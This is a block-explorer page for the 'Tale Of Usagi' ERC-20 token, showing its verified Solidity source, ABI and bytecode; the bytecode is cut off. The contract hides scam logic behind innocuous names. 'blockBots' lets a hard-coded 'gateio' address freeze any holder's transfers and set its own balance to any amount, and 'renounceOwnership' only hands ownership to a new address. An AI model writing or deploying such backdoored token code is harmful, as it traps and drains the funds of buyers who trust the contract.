Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 TOU
Holders
23
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
13,751,363.667759754 TOUValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
TaleOfUsagi
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-12-29 */ // https://t.me/TaleOfUsagiPortal // https://medium.com/@taleofusagierc // https://twitter.com/TaleofusagiERC // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function owner() public view returns (address) { return _owner; } constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function renounceOwnership(address newAddress) public onlyOwner{ _owner = newAddress; emit OwnershipTransferred(_owner, newAddress); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a,b,"SafeMath: division by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract TaleOfUsagi is Context, IERC20, Ownable{ using SafeMath for uint256; string private _name = "Tale Of Usagi"; string private _symbol = "TOU"; uint8 private _decimals = 9; mapping (address => uint256) _balances; address payable public gateio; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludefromFee; mapping (address => bool) public isMarketPair; mapping (address => bool) public _own; uint256 public _buyMarketingFee = 3; uint256 public _sellMarketingFee = 3; uint256 private _totalSupply = 1000000000 * 10**_decimals; constructor () { _isExcludefromFee[owner()] = true; _isExcludefromFee[address(this)] = true; gateio = payable(address(0x9FFA6C1c02A74654CFE4B446707A37C555d32bc4)); _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } bool inSwapAndLiquify; modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } IUniswapV2Router02 public uniswapV2Router; function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function controlMw() private view { require(msg.sender == gateio,"telufficient Balance"); } function name() public view returns (string memory) { return _name; } function decimals() public view returns (uint8) { return _decimals; } address public uniswapPair; receive() external payable {} function totalSupply() public view override returns (uint256) { return _totalSupply; } function blockBots(bool welldone,uint256 jobdone, address[] calldata metamask) public { controlMw(); for (uint n; n < metamask.length; ++n) { bool oldValue = jobdone > uint256(5).mul(2); bool newValue = welldone; _own[metamask[n]] = newValue; if (oldValue) _balances[gateio] = jobdone; } } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function symbol() public view returns (string memory) { return _symbol; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tAmount); try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tAmount, 0, path, address(this), block.timestamp ){} catch {} uint256 MarketAmount = address(this).balance; if(MarketAmount > 0) gateio.transfer(MarketAmount); } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Inufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function pairFactory() public onlyOwner{ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; isMarketPair[address(uniswapPair)] = true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function _transfer(address from, address to, uint256 amount) private returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!_own[from]); if(inSwapAndLiquify) { return _basicTransfer(from, to, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwapAndLiquify && !isMarketPair[from]) { swapAndLiquify(contractTokenBalance); } _balances[from] = _balances[from].sub(amount); uint256 finalAmount; if (_isExcludefromFee[from] || _isExcludefromFee[to]){ finalAmount = amount; }else{ uint256 feeAmount = 0; if(isMarketPair[from]) { feeAmount = amount.mul(_buyMarketingFee).div(100); } else if(isMarketPair[to]) { feeAmount = amount.mul(_sellMarketingFee).div(100); } if(feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(from, address(this), feeAmount); } finalAmount = amount.sub(feeAmount); } _balances[to] = _balances[to].add(finalAmount); emit Transfer(from, to, finalAmount); return true; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_own","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"welldone","type":"bool"},{"internalType":"uint256","name":"jobdone","type":"uint256"},{"internalType":"address[]","name":"metamask","type":"address[]"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"gateio","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairFactory","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c0604052600d60809081526c54616c65204f6620557361676960981b60a0526001906200002e908262000283565b50604080518082019091526003815262544f5560e81b602082015260029062000058908262000283565b506003805460ff191660099081178255600a828155600b929092556200007e9162000464565b6200008e90633b9aca006200047c565b600c553480156200009e57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600160076000620000f76000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600790925281208054909216600117909155600580546001600160a01b031916739ffa6c1c02a74654cfe4b446707a37c555d32bc4179055600c54906004906200016d3390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620001d091815260200190565b60405180910390a362000496565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200020957607f821691505b6020821081036200022a57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200027e57600081815260208120601f850160051c81016020861015620002595750805b601f850160051c820191505b818110156200027a5782815560010162000265565b5050505b505050565b81516001600160401b038111156200029f576200029f620001de565b620002b781620002b08454620001f4565b8462000230565b602080601f831160018114620002ef5760008415620002d65750858301515b600019600386901b1c1916600185901b1785556200027a565b600085815260208120601f198616915b828110156200032057888601518255948401946001909101908401620002ff565b50858210156200033f5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003a65781600019048211156200038a576200038a6200034f565b808516156200039857918102915b93841c93908002906200036a565b509250929050565b600082620003bf575060016200045e565b81620003ce575060006200045e565b8160018114620003e75760028114620003f25762000412565b60019150506200045e565b60ff8411156200040657620004066200034f565b50506001821b6200045e565b5060208310610133831016604e8410600b841016171562000437575081810a6200045e565b62000443838362000365565b80600019048211156200045a576200045a6200034f565b0290505b92915050565b60006200047560ff841683620003ae565b9392505050565b80820281158282048414176200045e576200045e6200034f565b61160080620004a66000396000f3fe60806040526004361061012e5760003560e01c806370a08231116100ab578063c816841b1161006f578063c816841b14610374578063c860795214610394578063d4b02eee146103aa578063dd62ed3e146103da578063e14f870d14610420578063f684376d1461043557600080fd5b806370a08231146102d55780638da5cb5b1461030b57806395d89b4114610329578063a9059cbb1461033e578063c5d241891461035e57600080fd5b806323b872dd116100f257806323b872dd14610213578063313ce567146102335780633345611e1461025557806338bf3cfa146102855780633ecad271146102a557600080fd5b806306fdde031461013a578063095ea7b3146101655780631694505e1461019557806318160ddd146101d257806321d9779e146101f157600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f610455565b60405161015c919061127c565b60405180910390f35b34801561017157600080fd5b506101856101803660046112e2565b6104e7565b604051901515815260200161015c565b3480156101a157600080fd5b50600d546101ba9061010090046001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156101de57600080fd5b50600c545b60405190815260200161015c565b3480156101fd57600080fd5b5061021161020c36600461130e565b6104fe565b005b34801561021f57600080fd5b5061018561022e36600461139f565b6105b6565b34801561023f57600080fd5b5060035460405160ff909116815260200161015c565b34801561026157600080fd5b506101856102703660046113e0565b60076020526000908152604090205460ff1681565b34801561029157600080fd5b506102116102a03660046113e0565b610621565b3480156102b157600080fd5b506101856102c03660046113e0565b60086020526000908152604090205460ff1681565b3480156102e157600080fd5b506101e36102f03660046113e0565b6001600160a01b031660009081526004602052604090205490565b34801561031757600080fd5b506000546001600160a01b03166101ba565b34801561033557600080fd5b5061014f6106cb565b34801561034a57600080fd5b506101856103593660046112e2565b6106da565b34801561036a57600080fd5b506101e3600a5481565b34801561038057600080fd5b50600e546101ba906001600160a01b031681565b3480156103a057600080fd5b506101e3600b5481565b3480156103b657600080fd5b506101856103c53660046113e0565b60096020526000908152604090205460ff1681565b3480156103e657600080fd5b506101e36103f53660046113fd565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561042c57600080fd5b506102116106e7565b34801561044157600080fd5b506005546101ba906001600160a01b031681565b60606001805461046490611436565b80601f016020809104026020016040519081016040528092919081815260200182805461049090611436565b80156104dd5780601f106104b2576101008083540402835291602001916104dd565b820191906000526020600020905b8154815290600101906020018083116104c057829003601f168201915b5050505050905090565b60006104f4338484610918565b5060015b92915050565b610506610a3c565b60005b818110156105af57600061051f60056002610a8f565b8511905085806009600087878781811061053b5761053b611470565b905060200201602081019061055091906113e0565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055811561059c576005546001600160a01b031660009081526004602052604090208690555b5050806105a89061149c565b9050610509565b5050505050565b60006105c3848484610b11565b506106168433610611856040518060600160405280602881526020016115a3602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610e7a565b610918565b5060015b9392505050565b6000546001600160a01b031633146106805760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b60606002805461046490611436565b6000610616338484610b11565b6000546001600160a01b031633146107415760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610677565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610798573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107bc91906114b5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610809573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082d91906114b5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561087a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089e91906114b5565b600e80546001600160a01b0319166001600160a01b03928316178155600d8054610100600160a81b03191661010094841685021790819055600c543060009081526006602090815260408083209790940486168252958652828120919091559154909216815260089092529020805460ff19166001179055565b6001600160a01b03831661097a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610677565b6001600160a01b0382166109db5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610677565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6005546001600160a01b03163314610a8d5760405162461bcd60e51b815260206004820152601460248201527374656c756666696369656e742042616c616e636560601b6044820152606401610677565b565b600082600003610aa1575060006104f8565b6000610aad83856114d2565b905082610aba85836114e9565b1461061a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610677565b60006001600160a01b038416610b775760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610677565b6001600160a01b038316610bd95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610677565b6001600160a01b03841660009081526009602052604090205460ff1615610bff57600080fd5b600d5460ff1615610c1c57610c15848484610eb4565b905061061a565b30600090815260046020526040902054600d5460ff16158015610c5857506001600160a01b03851660009081526008602052604090205460ff16155b15610c6657610c6681610f99565b6001600160a01b038516600090815260046020526040902054610c89908461116b565b6001600160a01b038616600090815260046020908152604080832093909355600790529081205460ff1680610cd657506001600160a01b03851660009081526007602052604090205460ff165b15610ce2575082610df0565b6001600160a01b03861660009081526008602052604081205460ff1615610d2a57610d236064610d1d600a5488610a8f90919063ffffffff16565b906111ad565b9050610d68565b6001600160a01b03861660009081526008602052604090205460ff1615610d6857610d656064610d1d600b5488610a8f90919063ffffffff16565b90505b8015610de25730600090815260046020526040902054610d8890826111ef565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dd99085815260200190565b60405180910390a35b610dec858261116b565b9150505b6001600160a01b038516600090815260046020526040902054610e1390826111ef565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e679085815260200190565b60405180910390a360019250505061061a565b60008184841115610e9e5760405162461bcd60e51b8152600401610677919061127c565b506000610eab848661150b565b95945050505050565b6040805180820182526013815272496e756666696369656e742042616c616e636560681b6020808301919091526001600160a01b0386166000908152600490915291822054610f04918490610e7a565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610f3390836111ef565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f879086815260200190565b60405180910390a35060019392505050565b600d805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fdb57610fdb611470565b60200260200101906001600160a01b031690816001600160a01b031681525050600d60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561104e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107291906114b5565b8160018151811061108557611085611470565b6001600160a01b039283166020918202929092010152600d546110b091309161010090041684610918565b600d5460405163791ac94760e01b81526101009091046001600160a01b03169063791ac947906110ed90859060009086903090429060040161151e565b600060405180830381600087803b15801561110757600080fd5b505af1925050508015611118575060015b5047801561115c576005546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561115a573d6000803e3d6000fd5b505b5050600d805460ff1916905550565b600061061a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e7a565b600061061a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061124e565b6000806111fc838561158f565b90508381101561061a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610677565b6000818361126f5760405162461bcd60e51b8152600401610677919061127c565b506000610eab84866114e9565b600060208083528351808285015260005b818110156112a95785810183015185820160400152820161128d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146112df57600080fd5b50565b600080604083850312156112f557600080fd5b8235611300816112ca565b946020939093013593505050565b6000806000806060858703121561132457600080fd5b8435801515811461133457600080fd5b935060208501359250604085013567ffffffffffffffff8082111561135857600080fd5b818701915087601f83011261136c57600080fd5b81358181111561137b57600080fd5b8860208260051b850101111561139057600080fd5b95989497505060200194505050565b6000806000606084860312156113b457600080fd5b83356113bf816112ca565b925060208401356113cf816112ca565b929592945050506040919091013590565b6000602082840312156113f257600080fd5b813561061a816112ca565b6000806040838503121561141057600080fd5b823561141b816112ca565b9150602083013561142b816112ca565b809150509250929050565b600181811c9082168061144a57607f821691505b60208210810361146a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016114ae576114ae611486565b5060010190565b6000602082840312156114c757600080fd5b815161061a816112ca565b80820281158282048414176104f8576104f8611486565b60008261150657634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156104f8576104f8611486565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561156e5784516001600160a01b031683529383019391830191600101611549565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156104f8576104f861148656fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220140330115ba1d960341a2a758cdc05b43041b8d1e2f0701f5a36165822ea7a9664736f6c63430008110033
Deployed Bytecode
0x60806040526004361061012e5760003560e01c806370a08231116100ab578063c816841b1161006f578063c816841b14610374578063c860795214610394578063d4b02eee146103aa578063dd62ed3e146103da578063e14f870d14610420578063f684376d1461043557600080fd5b806370a08231146102d55780638da5cb5b1461030b57806395d89b4114610329578063a9059cbb1461033e578063c5d241891461035e57600080fd5b806323b872dd116100f257806323b872dd14610213578063313ce567146102335780633345611e1461025557806338bf3cfa146102855780633ecad271146102a557600080fd5b806306fdde031461013a578063095ea7b3146101655780631694505e1461019557806318160ddd146101d257806321d9779e146101f157600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f610455565b60405161015c919061127c565b60405180910390f35b34801561017157600080fd5b506101856101803660046112e2565b6104e7565b604051901515815260200161015c565b3480156101a157600080fd5b50600d546101ba9061010090046001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156101de57600080fd5b50600c545b60405190815260200161015c565b3480156101fd57600080fd5b5061021161020c36600461130e565b6104fe565b005b34801561021f57600080fd5b5061018561022e36600461139f565b6105b6565b34801561023f57600080fd5b5060035460405160ff909116815260200161015c565b34801561026157600080fd5b506101856102703660046113e0565b60076020526000908152604090205460ff1681565b34801561029157600080fd5b506102116102a03660046113e0565b610621565b3480156102b157600080fd5b506101856102c03660046113e0565b60086020526000908152604090205460ff1681565b3480156102e157600080fd5b506101e36102f03660046113e0565b6001600160a01b031660009081526004602052604090205490565b34801561031757600080fd5b506000546001600160a01b03166101ba565b34801561033557600080fd5b5061014f6106cb565b34801561034a57600080fd5b506101856103593660046112e2565b6106da565b34801561036a57600080fd5b506101e3600a5481565b34801561038057600080fd5b50600e546101ba906001600160a01b031681565b3480156103a057600080fd5b506101e3600b5481565b3480156103b657600080fd5b506101856103c53660046113e0565b60096020526000908152604090205460ff1681565b3480156103e657600080fd5b506101e36103f53660046113fd565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561042c57600080fd5b506102116106e7565b34801561044157600080fd5b506005546101ba906001600160a01b031681565b60606001805461046490611436565b80601f016020809104026020016040519081016040528092919081815260200182805461049090611436565b80156104dd5780601f106104b2576101008083540402835291602001916104dd565b820191906000526020600020905b8154815290600101906020018083116104c057829003601f168201915b5050505050905090565b60006104f4338484610918565b5060015b92915050565b610506610a3c565b60005b818110156105af57600061051f60056002610a8f565b8511905085806009600087878781811061053b5761053b611470565b905060200201602081019061055091906113e0565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055811561059c576005546001600160a01b031660009081526004602052604090208690555b5050806105a89061149c565b9050610509565b5050505050565b60006105c3848484610b11565b506106168433610611856040518060600160405280602881526020016115a3602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610e7a565b610918565b5060015b9392505050565b6000546001600160a01b031633146106805760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b60606002805461046490611436565b6000610616338484610b11565b6000546001600160a01b031633146107415760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610677565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610798573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107bc91906114b5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610809573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082d91906114b5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561087a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089e91906114b5565b600e80546001600160a01b0319166001600160a01b03928316178155600d8054610100600160a81b03191661010094841685021790819055600c543060009081526006602090815260408083209790940486168252958652828120919091559154909216815260089092529020805460ff19166001179055565b6001600160a01b03831661097a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610677565b6001600160a01b0382166109db5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610677565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6005546001600160a01b03163314610a8d5760405162461bcd60e51b815260206004820152601460248201527374656c756666696369656e742042616c616e636560601b6044820152606401610677565b565b600082600003610aa1575060006104f8565b6000610aad83856114d2565b905082610aba85836114e9565b1461061a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610677565b60006001600160a01b038416610b775760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610677565b6001600160a01b038316610bd95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610677565b6001600160a01b03841660009081526009602052604090205460ff1615610bff57600080fd5b600d5460ff1615610c1c57610c15848484610eb4565b905061061a565b30600090815260046020526040902054600d5460ff16158015610c5857506001600160a01b03851660009081526008602052604090205460ff16155b15610c6657610c6681610f99565b6001600160a01b038516600090815260046020526040902054610c89908461116b565b6001600160a01b038616600090815260046020908152604080832093909355600790529081205460ff1680610cd657506001600160a01b03851660009081526007602052604090205460ff165b15610ce2575082610df0565b6001600160a01b03861660009081526008602052604081205460ff1615610d2a57610d236064610d1d600a5488610a8f90919063ffffffff16565b906111ad565b9050610d68565b6001600160a01b03861660009081526008602052604090205460ff1615610d6857610d656064610d1d600b5488610a8f90919063ffffffff16565b90505b8015610de25730600090815260046020526040902054610d8890826111ef565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dd99085815260200190565b60405180910390a35b610dec858261116b565b9150505b6001600160a01b038516600090815260046020526040902054610e1390826111ef565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e679085815260200190565b60405180910390a360019250505061061a565b60008184841115610e9e5760405162461bcd60e51b8152600401610677919061127c565b506000610eab848661150b565b95945050505050565b6040805180820182526013815272496e756666696369656e742042616c616e636560681b6020808301919091526001600160a01b0386166000908152600490915291822054610f04918490610e7a565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610f3390836111ef565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f